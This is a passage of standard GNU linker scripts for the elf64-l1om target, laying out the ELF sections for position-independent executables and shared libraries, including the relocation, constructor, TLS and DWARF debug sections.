  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld -pie: link position independent executable */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.iplt      :
    {
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc -z now -z relro: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.iplt)
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.iplt)
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld --shared: link shared library */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.iplt      :
    {
      *(.rela.iplt)
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
